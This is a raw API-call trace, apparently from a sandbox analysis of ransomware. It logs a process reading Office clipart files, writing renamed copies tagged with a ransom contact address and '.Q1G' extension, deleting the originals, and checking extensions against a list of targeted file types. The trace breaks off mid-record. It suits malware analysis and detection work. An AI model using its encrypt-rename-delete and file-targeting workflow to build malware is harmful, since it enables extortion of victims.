[0248.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.249] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2052) returned 1 [0248.249] CloseHandle (hObject=0x3c0) returned 1 [0248.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20 [0248.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.249] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.249] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0248.250] GetLastError () returned 0x0 [0248.250] ReadFile (in: hFile=0x3c0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x804, lpOverlapped=0x0) returned 1 [0248.257] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x810, lpOverlapped=0x0) returned 1 [0248.258] ReadFile (in: hFile=0x3c0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.258] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.258] SetEndOfFile (hFile=0x3a0) returned 1 [0248.258] CloseHandle (hObject=0x3a0) returned 1 [0248.258] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.259] SetEndOfFile (hFile=0x3c0) returned 1 [0248.260] CloseHandle (hObject=0x3c0) returned 1 [0248.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0248.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.317] lstrlenW (lpString=".doc") returned 4 [0248.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.317] lstrlenW (lpString=".docx") returned 5 [0248.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.317] lstrlenW (lpString=".pdf") returned 4 [0248.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.317] lstrlenW (lpString=".xls") returned 4 [0248.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.317] lstrlenW (lpString=".xlsx") returned 5 [0248.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.317] lstrlenW (lpString=".ppt") returned 4 [0248.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.317] lstrlenW (lpString=".zip") returned 4 [0248.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.317] lstrlenW (lpString=".rar") returned 4 [0248.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.318] lstrlenW (lpString=".bz2") returned 4 [0248.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.318] lstrlenW (lpString=".7z") returned 3 [0248.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.318] lstrlenW (lpString=".dbf") returned 4 [0248.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.318] lstrlenW (lpString=".1cd") returned 4 [0248.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.318] lstrlenW (lpString=".jpg") returned 4 [0248.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.318] lstrlenW (lpString=".doc") returned 4 [0248.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.318] lstrlenW (lpString=".docx") returned 5 [0248.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.318] lstrlenW (lpString=".pdf") returned 4 [0248.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.318] lstrlenW (lpString=".xls") returned 4 [0248.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.318] lstrlenW (lpString=".xlsx") returned 5 [0248.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.318] lstrlenW (lpString=".ppt") returned 4 [0248.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.318] lstrlenW (lpString=".zip") returned 4 [0248.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.318] lstrlenW (lpString=".rar") returned 4 [0248.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.318] lstrlenW (lpString=".bz2") returned 4 [0248.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.318] lstrlenW (lpString=".7z") returned 3 [0248.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.319] lstrlenW (lpString=".dbf") returned 4 [0248.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.319] lstrlenW (lpString=".1cd") returned 4 [0248.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0248.319] lstrlenW (lpString=".jpg") returned 4 [0248.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.319] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.319] lstrlenW (lpString="DD01173_.WMF") returned 12 [0248.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.339] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1804) returned 1 [0248.339] CloseHandle (hObject=0x3bc) returned 1 [0248.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20 [0248.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0248.420] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.420] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0248.421] GetLastError () returned 0x0 [0248.421] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x70c, lpOverlapped=0x0) returned 1 [0248.428] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x710, lpOverlapped=0x0) returned 1 [0248.429] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.429] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.429] SetEndOfFile (hFile=0x3b0) returned 1 [0248.429] CloseHandle (hObject=0x3b0) returned 1 [0248.429] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.429] SetEndOfFile (hFile=0x390) returned 1 [0248.431] CloseHandle (hObject=0x390) returned 1 [0248.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0248.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.432] lstrlenW (lpString=".doc") returned 4 [0248.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.432] lstrlenW (lpString=".docx") returned 5 [0248.432] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.432] lstrlenW (lpString=".pdf") returned 4 [0248.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.432] lstrlenW (lpString=".xls") returned 4 [0248.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.432] lstrlenW (lpString=".xlsx") returned 5 [0248.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.432] lstrlenW (lpString=".ppt") returned 4 [0248.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.432] lstrlenW (lpString=".zip") returned 4 [0248.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.432] lstrlenW (lpString=".rar") returned 4 [0248.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.432] lstrlenW (lpString=".bz2") returned 4 [0248.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.432] lstrlenW (lpString=".7z") returned 3 [0248.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.433] lstrlenW (lpString=".dbf") returned 4 [0248.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.433] lstrlenW (lpString=".1cd") returned 4 [0248.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.433] lstrlenW (lpString=".jpg") returned 4 [0248.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.433] lstrlenW (lpString=".doc") returned 4 [0248.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.433] lstrlenW (lpString=".docx") returned 5 [0248.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.433] lstrlenW (lpString=".pdf") returned 4 [0248.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.433] lstrlenW (lpString=".xls") returned 4 [0248.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.433] lstrlenW (lpString=".xlsx") returned 5 [0248.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.433] lstrlenW (lpString=".ppt") returned 4 [0248.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.433] lstrlenW (lpString=".zip") returned 4 [0248.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.433] lstrlenW (lpString=".rar") returned 4 [0248.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.433] lstrlenW (lpString=".bz2") returned 4 [0248.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.433] lstrlenW (lpString=".7z") returned 3 [0248.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.433] lstrlenW (lpString=".dbf") returned 4 [0248.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.433] lstrlenW (lpString=".1cd") returned 4 [0248.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0248.434] lstrlenW (lpString=".jpg") returned 4 [0248.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.434] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.434] lstrlenW (lpString="DD01183_.WMF") returned 12 [0248.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0248.434] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2296) returned 1 [0248.434] CloseHandle (hObject=0x390) returned 1 [0248.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0248.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0248.435] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.435] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0248.435] GetLastError () returned 0x0 [0248.435] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0248.448] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x900, lpOverlapped=0x0) returned 1 [0248.449] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.449] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.450] SetEndOfFile (hFile=0x3b0) returned 1 [0248.450] CloseHandle (hObject=0x3b0) returned 1 [0248.450] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.450] SetEndOfFile (hFile=0x390) returned 1 [0248.452] CloseHandle (hObject=0x390) returned 1 [0248.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0248.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.453] lstrlenW (lpString=".doc") returned 4 [0248.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.453] lstrlenW (lpString=".docx") returned 5 [0248.453] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.453] lstrlenW (lpString=".pdf") returned 4 [0248.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.453] lstrlenW (lpString=".xls") returned 4 [0248.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.453] lstrlenW (lpString=".xlsx") returned 5 [0248.453] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.453] lstrlenW (lpString=".ppt") returned 4 [0248.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.453] lstrlenW (lpString=".zip") returned 4 [0248.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.453] lstrlenW (lpString=".rar") returned 4 [0248.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.453] lstrlenW (lpString=".bz2") returned 4 [0248.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.453] lstrlenW (lpString=".7z") returned 3 [0248.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.453] lstrlenW (lpString=".dbf") returned 4 [0248.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.453] lstrlenW (lpString=".1cd") returned 4 [0248.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.453] lstrlenW (lpString=".jpg") returned 4 [0248.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.453] lstrlenW (lpString=".doc") returned 4 [0248.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.454] lstrlenW (lpString=".docx") returned 5 [0248.454] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.454] lstrlenW (lpString=".pdf") returned 4 [0248.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.454] lstrlenW (lpString=".xls") returned 4 [0248.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.454] lstrlenW (lpString=".xlsx") returned 5 [0248.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.454] lstrlenW (lpString=".ppt") returned 4 [0248.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.454] lstrlenW (lpString=".zip") returned 4 [0248.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.454] lstrlenW (lpString=".rar") returned 4 [0248.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.454] lstrlenW (lpString=".bz2") returned 4 [0248.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.454] lstrlenW (lpString=".7z") returned 3 [0248.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.454] lstrlenW (lpString=".dbf") returned 4 [0248.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.454] lstrlenW (lpString=".1cd") returned 4 [0248.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0248.454] lstrlenW (lpString=".jpg") returned 4 [0248.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.454] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.454] lstrlenW (lpString="DD01366_.WMF") returned 12 [0248.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.543] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1768) returned 1 [0248.543] CloseHandle (hObject=0x3ac) returned 1 [0248.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0248.549] GetFileAttributesW 